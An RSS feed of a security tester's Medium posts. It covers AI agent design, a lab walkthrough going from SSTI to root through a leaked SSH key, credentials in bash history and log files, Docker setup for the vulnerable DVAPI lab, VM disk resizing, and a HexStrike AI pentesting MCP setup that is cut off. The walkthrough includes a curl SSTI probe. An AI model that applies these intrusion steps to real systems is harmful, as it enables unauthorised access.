<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Dasmanish on Medium]]></title>
        <description><![CDATA[Stories by Dasmanish on Medium]]></description>
        <link>https://medium.com/@dasmanish6176?source=rss-85853724a5d8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*a3qb3dOX-0U6zGK-ZZ4pCQ.png</url>
            <title>Stories by Dasmanish on Medium</title>
            <link>https://medium.com/@dasmanish6176?source=rss-85853724a5d8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 11:44:40 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@dasmanish6176/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[AI Agent / Agentic AI System or Just a Fancy Wrapper Around an LLM and Security Tools?]]></title>
            <link>https://medium.com/@dasmanish6176/ai-agent-agentic-ai-system-or-just-a-fancy-wrapper-around-an-llm-and-security-tools-c2241f71c422?source=rss-85853724a5d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/c2241f71c422</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[mcp-server]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[agentic-ai]]></category>
            <dc:creator><![CDATA[Dasmanish]]></dc:creator>
            <pubDate>Tue, 15 Sep 2026 14:36:52 GMT</pubDate>
            <atom:updated>2026-09-15T14:36:52.396Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Q-THNlcRRr2qCdR-8cOMPg.png" /></figure><p><em>I’m a VAPT guy. While building an AI-assisted mobile security platform, I kept asking myself one uncomfortable question:</em></p><p><strong>“Am I actually building an AI agent, or am I just putting an LLM in front of the security tools I already know?”</strong></p><p>That question led me down a rabbit hole.</p><p>And I think it is worth explaining from a VAPT perspective, because terms like <em>AI Agent</em>, <em>Agentic AI</em>, <em>MCP</em>, <em>tool calling</em>, and <em>orchestration</em> are being used everywhere.</p><p>So let’s start from something we already understand.</p><h3>Automation</h3><p>Suppose I want to test an Android APK.</p><p>I can write a simple automation pipeline:</p><pre>APK<br> ↓<br>JADX<br> ↓<br>Manifest analysis<br> ↓<br>Static scanner<br> ↓<br>ADB<br> ↓<br>Frida<br> ↓<br>Report</pre><p>This is useful. It saves time.</p><p>But nobody would seriously call this an AI agent. It is <strong>automation</strong>.</p><p>The developer decided what happens and in what order.</p><h3>Now add an LLM</h3><p>Let’s make it more interesting.</p><p>We introduce Gemini, Claude, or another LLM.</p><p>Now the workflow becomes:</p><pre>APK<br> ↓<br>LLM<br> ↓<br>Tool<br> ↓<br>Result<br> ↓<br>LLM<br> ↓<br>Tool<br> ↓<br>Result<br> ↓<br>Report</pre><p>The LLM can understand tool output and generate instructions for the next tool.</p><p>But here’s the uncomfortable question:</p><p><strong>Is this actually an agent? </strong>Not necessarily.</p><h3>The Master Prompt Problem</h3><p>Imagine I give the LLM this prompt:</p><blockquote><em>“First analyze the manifest. Then decompile the application. Then perform dynamic testing. Then run Frida. Finally generate the report.”</em></blockquote><p>The system can execute all of that through MCP.</p><p>It might look very advanced:</p><pre>Gemini<br> ↓<br>MCP<br> ↓<br>JADX<br> ↓<br>Gemini<br> ↓<br>MCP<br> ↓<br>ADB<br> ↓<br>Gemini<br> ↓<br>MCP<br> ↓<br>Frida<br> ↓<br>Gemini<br> ↓<br>Report</pre><p>But think about what actually happened. <strong>I already decided the journey.</strong></p><p>The LLM is participating in the journey, but the overall workflow was predetermined.</p><p>That is where the word <strong>“agent”</strong> can become misleading.</p><h3>So What Is an AI Agent?</h3><p>Forget the fancy definitions for a moment.</p><p>Think about a human pentester. You give them an APK and say:</p><blockquote><em>“Assess this application.”</em></blockquote><p>You don’t give them a 200-step instruction saying exactly what to do.</p><p>They start investigating. They find an exported Activity.</p><p>They think:</p><blockquote><em>“Interesting. I should investigate whether this is actually reachable.”</em></blockquote><p>They test it. Then they discover something else.</p><p>They change direction. Then they decide they have enough evidence and move on.</p><p><strong>Give it a goal. Let it observe. Let it decide what to do next. Let it see the result. Then let it decide again.</strong></p><p>The important word is <strong>again</strong>.</p><h3>VAPT Makes This Easier to Understand</h3><p>Imagine an APK contains a custom TrustManager.</p><p>A fixed workflow might say:</p><blockquote><em>“Always run the TLS test.”</em></blockquote><p>An agentic system can instead reason from the observation:</p><blockquote><em>“I found a custom TrustManager. This deserves further investigation.”</em></blockquote><p>It requests an appropriate capability. The tool returns an observation.</p><p>Now the agent has new information.</p><p>It can decide:</p><blockquote><em>“I need stronger evidence.”</em></blockquote><p>Or:</p><blockquote><em>“The evidence is sufficient.”</em></blockquote><p>Or:</p><blockquote><em>“This isn’t actually exploitable.”</em></blockquote><p>The next action depends on what happened previously.</p><p>That’s the important difference.</p><h3>Automation vs LLM Workflow vs Agent</h3><p>This distinction helped me a lot.</p><h3>Automation</h3><pre>A → B → C → D</pre><p>The developer defines the path.</p><h3>LLM-powered workflow</h3><pre>LLM → A → LLM → B → LLM → C</pre><p>The LLM participates, but the workflow may still be predetermined.</p><h3>Agentic workflow</h3><pre>Goal<br> ↓<br>Observe<br> ↓<br>Decide<br> ↓<br>Act<br> ↓<br>Observe result<br> ↓<br>Decide again<br> ↓<br>Act<br> ↓<br>...</pre><p>The system can change its next action based on the current situation.</p><p>That doesn’t mean everything is unpredictable.</p><p>In security, <strong>we don’t want everything to be unpredictable.</strong></p><h3>This Is Where Security Gets Interesting</h3><p>As a security person, I don’t want an AI to have unlimited freedom.</p><p>I don’t want:</p><blockquote><em>“Hey Gemini, here’s shell access. Do whatever you want.”</em></blockquote><p>That’s a terrible security architecture.</p><p>For example:</p><pre>AI decision<br>    ↓<br>Security policy<br>    ↓<br>Is this action allowed?<br>    ↓<br>YES → execute<br>NO  → reject</pre><p>So the AI can decide <strong>what it wants to investigate</strong>, while deterministic security controls decide <strong>what it is actually allowed to do</strong>.</p><p>That distinction is extremely important.</p><h3>Then What Is MCP?</h3><p>MCP is often thrown into these conversations as if it magically creates agents.</p><p>It doesn’t.</p><p>Think of MCP as a controlled way for an AI system to interact with tools.</p><p>For example:</p><pre>Agent<br> ↓<br>&quot;I need Android manifest analysis&quot;<br> ↓<br>MCP<br> ↓<br>Authorization<br> ↓<br>Manifest parser<br> ↓<br>Result<br> ↓<br>Agent</pre><p>MCP gives the agent access to capabilities.</p><p>It doesn’t decide the security assessment for you.</p><p>And MCP by itself does not make a system agentic.</p><p>You can build a completely predetermined workflow using MCP.</p><h3>Can We Fake an Agent?</h3><p>Yes.</p><p>And this is probably the most important realization.</p><p>A developer can write:</p><pre>if manifest_finding:<br>    run_adb()<br><br>if crypto_finding:<br>    run_frida()<br><br>generate_report()</pre><p>It can look intelligent.</p><p>You could even put an LLM inside every function.</p><p>But the developer still created the decision tree.</p><p>So simply having:</p><ul><li>prompts,</li><li>multiple LLM calls,</li><li>tools,</li><li>MCP,</li><li>multiple “agents”,</li><li>output chaining,</li></ul><p>doesn’t automatically prove that the system is agentic.</p><h3>Then How Do We Know?</h3><p>This is where I think we need to stop arguing about labels and start looking at <strong>behavior</strong>.</p><p>Give the system the same goal:</p><blockquote><em>“Assess this Android application.”</em></blockquote><p>Now change what it discovers.</p><p>Application A contains an exported component.</p><p>Application B contains a custom TrustManager.</p><p>Application C contains an interesting WebView configuration.</p><p>If the system chooses different next investigations because of those discoveries, that’s evidence of adaptive behavior.</p><p>Even better, remove a capability.</p><p>If Frida isn’t available, does the system blindly try to use Frida?</p><p>Or does it understand:</p><blockquote><em>“I can’t perform this validation with my available capabilities.”</em></blockquote><p>and adapt?</p><p>That’s a much more meaningful test than simply counting how many LLM calls were made.</p><h3>We Can Actually Test This</h3><p>This gave me a better way to think about the whole problem.</p><p>Instead of asking:</p><blockquote><em>“Does my architecture have agents?”</em></blockquote><p>Ask:</p><blockquote><strong><em>“Can I demonstrate agent behavior?”</em></strong></blockquote><p>For example:</p><p>Give the system a goal. Change the evidence.</p><p>Observe whether the next action changes.</p><p>Disable a tool. Observe whether the system adapts.</p><p>Make a tool fail. Observe whether it recovers.</p><p>Give it enough evidence. Observe whether it stops.</p><p>Introduce new evidence halfway through.</p><p>Observe whether it changes its plan.</p><p>Now we’re testing something observable.</p><p>We’re no longer relying on terminology.</p><h3>So, What Makes an AI Agent Different?</h3><p>At this point, I had one question left.</p><p>If an LLM calls a tool, receives the output, and uses that output as the input for the next decision, <strong>is that already an AI agent?</strong></p><p>It can be.</p><p>The important part is not simply that outputs are chained together. The important question is <strong>whether the next action is predetermined by the developer or decided by the system based on what it just observed</strong>.</p><p>If the workflow is always:</p><pre>A → B → C → D</pre><p>then it is a fixed workflow.</p><p>If the system can do:</p><pre>Goal<br> ↓<br>Observe<br> ↓<br>Decide<br> ↓<br>Act<br> ↓<br>Observe<br> ↓<br>Decide again</pre><p>and the next action can change depending on the result, then we have the core behavior of an AI agent.</p><p>When multiple such decisions work together toward a larger goal, we get an <strong>agentic workflow</strong>.</p><h3>So Where Does MOSA Fit?</h3><p>This is where my own project comes in.</p><p>I wanted to apply this idea specifically to <strong>mobile VAPT</strong>, rather than simply putting an LLM in front of security tools.</p><p>That led me to build <strong>MOSA — Mobile Orchestrated Security Agents</strong>.</p><p>MOSA uses specialized agents for planning, static analysis, dynamic analysis, validation, and supervision. They work with authorized security capabilities through a controlled tool layer, while evidence and assessment state flow back into the system.</p><p>The goal is simple:</p><blockquote><strong><em>Give MOSA a mobile security assessment goal and let the system determine what needs to be investigated, act within security boundaries, evaluate what it discovers, and decide whether more testing is required.</em></strong></blockquote><p>That is what I am trying to achieve with MOSA: not just <strong>LLM + tools</strong>, but a controlled, goal-driven security assessment loop.</p><p>And that also gives me a much better way to evaluate my own system.</p><p>Instead of asking:</p><blockquote>“Does MOSA have AI agents?”</blockquote><p>I can ask:</p><blockquote><strong><em>“Can MOSA change what it does when the situation changes?”</em></strong></blockquote><p>That is something I can actually test.</p><h3>One-Line Takeaway</h3><blockquote><strong><em>An LLM calling tools is not automatically an AI agent; the important difference is whether the system can use its goal, state, and observations to decide what to do next — and keep doing so as the situation changes.</em></strong></blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c2241f71c422" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a Guest WiFi Portal Led to Full System Compromise]]></title>
            <link>https://medium.com/@dasmanish6176/how-a-guest-wifi-portal-led-to-full-system-compromise-ef70c12aa3d5?source=rss-85853724a5d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/ef70c12aa3d5</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Dasmanish]]></dc:creator>
            <pubDate>Sat, 12 Sep 2026 06:08:49 GMT</pubDate>
            <atom:updated>2026-09-12T06:08:49.624Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>How a Guest WiFi Portal Led to Full System Compromise</strong></p><p><strong>Hack Smarter World Walkthrough</strong></p><p><strong>1. Initial reconnaissance</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*Y7uWTrGd0IpjnaXaZmPCsg.png" /></figure><p>I started with a full TCP port scan to identify the exposed attack surface. Three interesting services were available: an HTTP application on port 80, the standard SSH service on port 22, and a second SSH service on port 2222.</p><p><strong>2. Web application / JavaScript discovery</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YZwspOxQdc-DB8Z_Hyqsmg.png" /></figure><p>While inspecting the application’s static assets, I found a JavaScript source map. Source maps are often extremely useful during security testing because they can expose original source files that were hidden during production deployment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lC4JvQCwEQGRElOHEfAteA.png" /></figure><p><strong>3. API information disclosure</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g-3rgBqpbcjRzu0ICVD8Gw.png" /></figure><p>The endpoint was accessible without authentication and returned active guest information. The application therefore exposed data that could be used to interact with another authentication mechanism.</p><p><strong>4. Portal authentication</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*oTUDp7ge5-sS2RDgM_rqKg.png" /></figure><p>The leaked room and guest information could then be supplied to the portal’s login endpoint. The server accepted the combination and created an authenticated session.</p><p><strong>5. Discovering SSTI</strong></p><pre>curl -i -b /tmp/hsw.cookies \<br>  -c /tmp/hsw.cookies \<br>  -X POST http://10.1.139.131/profile \<br>  --data-urlencode &#39;display_name={{7*7}}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IX8RXsLFUGZ2iX72x8XASw.png" /></figure><p>I tested whether the profile field was being safely rendered or interpreted as a server-side template. The expression {{7*7}} was evaluated and returned 49, confirming server-side template injection.</p><p><strong>6. SSTI → RCE</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o3uXDhMGsu6Y9J-UGCkc2Q.png" /></figure><p>After confirming SSTI, I verified whether the template context could reach Python’s underlying functionality. The resulting command execution confirmed OS-level code execution as www-data.</p><p><strong>7. Local enumeration</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5B1Rl0ThYWB4BNlLdxAzGw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vnk7iuus2nufWJxuTei-0w.png" /></figure><p><strong>8. The SSH key vulnerability</strong></p><p>A private SSH key should generally <strong>not be world-readable</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kUQo4SB4eri6IKQ3CHLaAw.png" /></figure><p><strong>9. SSH lateral movement</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hm6FHufBNozR3xKOi62R9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rw5Q1F6m2HAYErP8VQ_d0A.png" /></figure><p><strong>10. Credential leakage through </strong><strong>.bash_history</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LOShLyXvTPU6QBnlZ24b8Q.png" /></figure><p>George’s shell history contained credentials used to switch to another local account. This provided a second pivot from George to David.</p><p><strong>11. David + </strong><strong>adm</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rQke5lahNykJnB8QRRSCBg.png" /></figure><p>David was a member of the adm group. On Debian/Ubuntu systems, this commonly provides access to system logging data, making /var/log an interesting source of information.</p><p><strong>12. The root credential leak</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*18WAwp_A4hDJlB2HPDH4Xw.png" /></figure><p>The provisioning log contained a credential intended for a root-level synchronization process. Because David could read the log through his adm membership, the credential was exposed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cl46kWNzDCUsiNxNk7tFvQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ef70c12aa3d5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Docker for Beginners: Running DVAPI on Kali Linux]]></title>
            <link>https://medium.com/@dasmanish6176/docker-for-beginners-running-dvapi-on-kali-linux-051f3af5930b?source=rss-85853724a5d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/051f3af5930b</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[vulnerability-management]]></category>
            <category><![CDATA[docker]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[api]]></category>
            <dc:creator><![CDATA[Dasmanish]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 06:33:03 GMT</pubDate>
            <atom:updated>2026-07-07T06:33:03.163Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cBsdKYvOn0BSpd40QluFCg.png" /></figure><p>If you’ve ever built an application and heard someone say, <strong>“It works on my machine,”</strong> then you’ve already encountered the problem Docker was designed to solve.</p><p>In this article, we’ll understand the basic Docker concepts and then use them to run <strong>DVAPI (Damn Vulnerable API)</strong> on <strong>Kali Linux</strong>.</p><h3>The Problem Docker Solves</h3><p>Imagine you’ve built a web application that requires:</p><ul><li>Python</li><li>Node.js</li><li>MongoDB</li><li>Redis</li><li>Several libraries with specific versions</li></ul><p>Everything works perfectly on your laptop.</p><p>Now you share the project with a friend.</p><p>They install Python but a different version.</p><p>MongoDB is a newer release.</p><p>Some dependencies fail to install.</p><p>The application refuses to start.</p><p>This is the famous <strong>“It works on my machine”</strong> problem.</p><p>Docker solves this by packaging your application together with everything it needs to run dependencies, libraries, configurations, and runtime versions into a <strong>Container</strong>.</p><p>Whether you run it on <strong>Windows, Linux, macOS, or the Cloud</strong>, it behaves the same everywhere.</p><p>A simple analogy is <strong>instant noodles</strong>. Instead of collecting vegetables, spices, and utensils separately, everything is already inside the packet. You only need hot water.</p><p>Docker works the same way.</p><h3>What is a Container?</h3><p>A <strong>Container</strong> is a lightweight, isolated environment where your application runs.</p><p>Think of it as a <strong>mini computer inside your computer</strong>.</p><p>It has its own:</p><ul><li>Files</li><li>Libraries</li><li>Software</li><li>Network</li></ul><p>Unlike a Virtual Machine, it shares the host operating system, making it much faster and more lightweight.</p><p><strong>Simply put:</strong> A container packages everything an application needs to run consistently on any machine.</p><h3>What is a Docker Image?</h3><p>Before a container can run, Docker needs an <strong>Image</strong>.</p><p>Think of it like:</p><ul><li>Blueprint → House</li><li>Recipe → Cake</li><li>Image → Container</li></ul><p>A Docker Image contains the application’s code, dependencies, and configuration.</p><p>When Docker starts the image, it creates a <strong>running container</strong>.</p><h3>What is Docker Compose?</h3><p>Real-world applications rarely consist of a single service.</p><p>For example, DVAPI requires multiple containers, such as:</p><ul><li>API</li><li>Database</li><li>Web Server</li></ul><p>Starting each container manually would be tedious.</p><p>Docker Compose lets you start the entire application with a single command:</p><pre>docker-compose up</pre><h3>What is docker-compose.yml?</h3><p>Docker Compose follows instructions from a file called <strong>docker-compose.yml</strong>.</p><p>This file tells Docker:</p><ul><li>Which containers to start</li><li>Which ports to expose</li><li>How the containers communicate</li><li>Environment variables</li><li>Volumes and networks</li></ul><p>Think of it as the <strong>instruction manual</strong> for your application.</p><h3>Docker Analogy 🚗</h3><p>If Docker were a car:</p><ul><li><strong>Docker Engine</strong> = The engine that runs the containers.</li><li><strong>Docker CLI</strong> = The steering wheel that you use by typing commands.</li><li><strong>Docker Compose</strong> = The GPS that automatically starts multiple containers together.</li></ul><h3>Setting Up DVAPI on Kali Linux</h3><h3>1. Update your system</h3><pre>sudo apt update<br>sudo apt upgrade -y</pre><h3>2. Install Git</h3><pre>sudo apt install git -y</pre><p>Verify:</p><pre>git --version</pre><h3>3. Install Docker</h3><pre>sudo apt install docker.io docker-compose -y</pre><p>Verify the installation:</p><pre>docker --version<br>docker-compose --version</pre><h3>4. Start Docker</h3><pre>sudo systemctl enable docker<br>sudo systemctl start docker</pre><p>Check its status:</p><pre>sudo systemctl status docker</pre><p>You can also verify Docker is working by running:</p><pre>docker info</pre><h3>5. Download DVAPI</h3><pre>git clone https://github.com/payatu/DVAPI.git</pre><p>Move into the project directory:</p><pre>cd DVAPI</pre><h3>6. Build and Start the Lab</h3><pre>docker-compose up --build</pre><p>Docker will automatically:</p><ul><li>Build the required images</li><li>Create containers</li><li>Configure networking</li><li>Start the application</li></ul><p>Once everything is running, open your browser and visit:</p><pre>http://127.0.0.1:3000</pre><p>Congratulations! 🎉 You now have DVAPI running inside Docker.</p><h3>Useful Docker Commands</h3><p>View downloaded images:</p><pre>docker images</pre><p>See running containers:</p><pre>docker ps</pre><p>See all containers:</p><pre>docker ps -a</pre><p>View Docker volumes:</p><pre>docker volume ls</pre><p>View Docker networks:</p><pre>docker network ls</pre><p>Check Docker disk usage:</p><pre>docker system df</pre><p>Docker stores its data by default in:</p><pre>/var/lib/docker/</pre><p>Stop the application:</p><pre>docker-compose down</pre><p>Restart it later:</p><pre>docker-compose up</pre><p>View container logs:</p><pre>docker logs &lt;container_name&gt;</pre><h3>Managing Multiple Docker Projects</h3><p>As you work on more Docker projects, you’ll frequently use these commands:</p><pre>docker images<br>docker ps<br>docker ps -a<br>docker stop &lt;container_id&gt;<br>docker start &lt;container_id&gt;<br>docker rm &lt;container_id&gt;<br>docker rmi &lt;image_id&gt;<br>docker system df</pre><p>To remove unused Docker resources:</p><pre>docker system prune</pre><p>Or remove everything unused, including images:</p><pre>docker system prune -a</pre><blockquote><em>⚠️ Be careful with </em><em>-a because it removes all unused images, meaning Docker will need to download or rebuild them again later.</em></blockquote><h3>Final Thoughts</h3><p>Docker removes one of the biggest headaches in software development environment differences. Instead of asking teammates to install dozens of tools and matching versions, you simply share your Docker configuration, and the application runs the same everywhere.</p><p>Using DVAPI is a great way to learn Docker because it introduces you to images, containers, Docker Compose, networking, and multi-container applications in a practical way. Once you’re comfortable with these basics, you’ll be ready to containerize your own projects with confidence.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=051f3af5930b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Demystifying Agentic AI: Understanding AI Agents and Workflows]]></title>
            <link>https://medium.com/@dasmanish6176/demystifying-agentic-ai-understanding-ai-agents-and-workflows-38a950b882be?source=rss-85853724a5d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/38a950b882be</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ai-agent]]></category>
            <category><![CDATA[agentic-ai]]></category>
            <category><![CDATA[llm]]></category>
            <dc:creator><![CDATA[Dasmanish]]></dc:creator>
            <pubDate>Sun, 03 May 2026 14:06:40 GMT</pubDate>
            <atom:updated>2026-05-03T14:06:40.833Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b--Z62ov7NWzglcTVAdD-w.png" /></figure><p><strong>What exactly is Agentic AI? (The “Knowledge + Work” Formula)</strong></p><p>In simple terms, traditional LLMs (like the basic version of ChatGPT) are experts at giving “knowledge” or “Gyaan,” but they don’t actually <em>do</em> anything. <strong>Agentic AI</strong> is what happens when you combine that knowledge with the ability to take <strong>action</strong>.</p><ul><li><strong>LLM (The Brain):</strong> Provides the information and reasoning.</li><li><strong>Action (The Work):</strong> The ability to execute tasks, like calling an API or running a script.</li></ul><p>While a standard Generative AI system might just write a report for you (content creation), an <strong>Agentic AI</strong> system can make decisions and execute them using tools to achieve a complex goal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*emzIuMsrKXjAfE_eaUyEMA.png" /></figure><p><strong>The Anatomy of an AI Agent</strong></p><p>To understand your new “attack surface,” you need to know how an agent is built. A functional agent consists of four main pillars:</p><ul><li><strong>LLM (Brain):</strong> Without this, the agent cannot think or plan.</li><li><strong>Memory:</strong> This is crucial. Unlike a simple API call that “forgets” the previous request, agents use memory to store past conversation history and context.</li><li><strong>Tools (The Toolset):</strong> In your world, these are essentially <strong>APIs or Functions</strong>. For example, a tool could be a function to “Create a Notion Page” or “Search a Database”.</li><li><strong>Planning &amp; Reasoning:</strong> The agent doesn’t just follow a script; it looks at a goal and breaks it down into multiple steps.</li></ul><p><strong>Workflow vs. Agent: Understanding the Difference</strong></p><p>As a VAPT analyst, you deal with workflows every day. It’s important to distinguish between a simple automated workflow and a true agent:</p><ol><li><strong>RAG/Basic Workflows:</strong> These are reactive. You ask a question (Q&amp;A), and it pulls data from a PDF or database to answer you.</li><li><strong>Tool-Augmented AI:</strong> The AI can use a tool (like checking your leave balance via an API), but it is still reactive and lacks complex reasoning.</li><li><strong>Agentic AI:</strong> This is <strong>proactive</strong>. If you tell it “Onboard a new intern,” it reasons that it needs to:</li></ol><ul><li>Schedule a meeting via Outlook.</li><li>Create a profile in the HR system.</li><li>Order a laptop via the IT help desk.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*x7ULosxBzEZOxCOeNqFI4w.png" /></figure><p><strong>Practical Example: The “Travel Assistant”</strong></p><p>Imagine an agentic travel assistant. Instead of just giving you a list of hotels, you give it a goal: <em>“Book a 7-day trip to London with sunny weather and a specific budget”</em>.</p><ul><li>The agent uses a <strong>Weather API</strong> tool to check dates.</li><li>It uses a <strong>Booking API</strong> to find flights.</li><li>It <strong>reasons</strong> through the constraints and <strong>iterates</strong> (tries again) if the first plan is over budget</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=38a950b882be" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Expanding Disk Space in a Debian Virtual Machine (VirtualBox)- Simple CLI Guide]]></title>
            <link>https://medium.com/@dasmanish6176/expanding-disk-space-in-a-debian-virtual-machine-virtualbox-simple-cli-guide-07a312abb7fc?source=rss-85853724a5d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/07a312abb7fc</guid>
            <dc:creator><![CDATA[Dasmanish]]></dc:creator>
            <pubDate>Wed, 01 Apr 2026 17:32:23 GMT</pubDate>
            <atom:updated>2026-04-01T17:32:23.340Z</atom:updated>
            <content:encoded><![CDATA[<p>Running out of disk space inside a virtual machine is a common issue, especially during labs, development work, or security testing. Recently, I increased the disk size of a Debian VM in VirtualBox and realized that the extra space doesn’t automatically become usable inside the OS.</p><p>This guide walks through a simple, command-line-only method to properly extend your storage.</p><h3>🧠 Understanding the Problem</h3><p>When you increase the disk size in <strong>VirtualBox</strong>, you are only resizing the <em>virtual disk</em>. The operating system inside the VM still sees the old partition size.</p><p>So the process involves two main steps:</p><ol><li>Expanding the partition</li><li>Expanding the filesystem</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O3McsDBfHQzAal07GxYmrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XdGlSijx6DJLTnI_9-hOcw.png" /></figure><h3>📌 Initial Situation</h3><p>After resizing the disk in VirtualBox:</p><ul><li>Disk size: Increased (e.g., 40GB → 80GB)</li><li>Partition size: Still old (e.g., 40GB)</li><li>Filesystem: Still using old space</li></ul><p>You can confirm this using:</p><pre>lsblk<br>df -h</pre><h3>🛠 Step 1: Install Required Tool</h3><p>We use growpart to safely extend the partition.</p><pre>sudo apt update<br>sudo apt install -y cloud-guest-utils</pre><h3>🧱 Step 2: Expand the Partition</h3><pre>sudo growpart /dev/sda 1</pre><p>This command tells the system to expand partition sda1 to fill the available disk space.</p><h3>📦 Step 3: Resize the Filesystem</h3><p>Most Debian systems use the ext4 filesystem. Resize it using:</p><pre>sudo resize2fs /dev/sda1</pre><p>This step makes the newly allocated space usable by the OS.</p><h3>✅ Step 4: Verify the Changes</h3><pre>df -h</pre><p>You should now see the updated disk size reflected in the root (/) partition.</p><h3>🎯 Conclusion</h3><p>Expanding disk space in a Debian VM is straightforward once you understand the separation between disk, partition, and filesystem.</p><p>With just a few commands, you can reclaim and fully utilize your allocated storage &amp; keeping your environment efficient and ready for heavy workloads.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=07a312abb7fc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Running a Local AI Pentesting MCP Server with HexStrike (Claude Desktop + Debian)]]></title>
            <link>https://medium.com/@dasmanish6176/running-a-local-ai-pentesting-mcp-server-with-hexstrike-claude-desktop-debian-c7b31ef13c17?source=rss-85853724a5d8------2</link>
            <guid isPermaLink="false">https://medium.com/p/c7b31ef13c17</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[open-source]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Dasmanish]]></dc:creator>
            <pubDate>Sat, 14 Mar 2026 06:57:15 GMT</pubDate>
            <atom:updated>2026-03-14T06:57:15.053Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8okdS43J6c5qcKi-6leYsQ.png" /></figure><p>Model Context Protocol (MCP) allows AI tools like <strong>Claude Desktop</strong> to interact with external tools and APIs.</p><p>This guide shows how to run a <strong>local HexStrike AI MCP server</strong> on Debian and connect it to <strong>Claude Desktop</strong>.</p><p>The setup runs like this:</p><p>Claude Desktop → MCP → HexStrike MCP script → HexStrike API server → security tools</p><h3>1. Install Dependencies</h3><p>First install required packages.</p><pre>sudo apt update<br>sudo apt install -y git python3 python3-venv python3-pip</pre><h3>2. Clone HexStrike</h3><pre>cd /opt<br>sudo git clone https://github.com/your-repo/hexstrike-ai.git<br>cd hexstrike-ai</pre><h3>3. Create Python Virtual Environment</h3><pre>python3 -m venv hexstrike-env<br>source hexstrike-env/bin/activate</pre><h3>4. Install Python Requirements</h3><pre>pip install -r requirements.txt</pre><p>Your directory should look like this:</p><pre>/opt/hexstrike-ai<br> ├── hexstrike_server.py<br> ├── hexstrike_mcp.py<br> ├── requirements.txt<br> └── hexstrike-env</pre><h3>5. Start the HexStrike API Server</h3><p>Run the server:</p><pre>python3 hexstrike_server.py</pre><figure><img alt="" 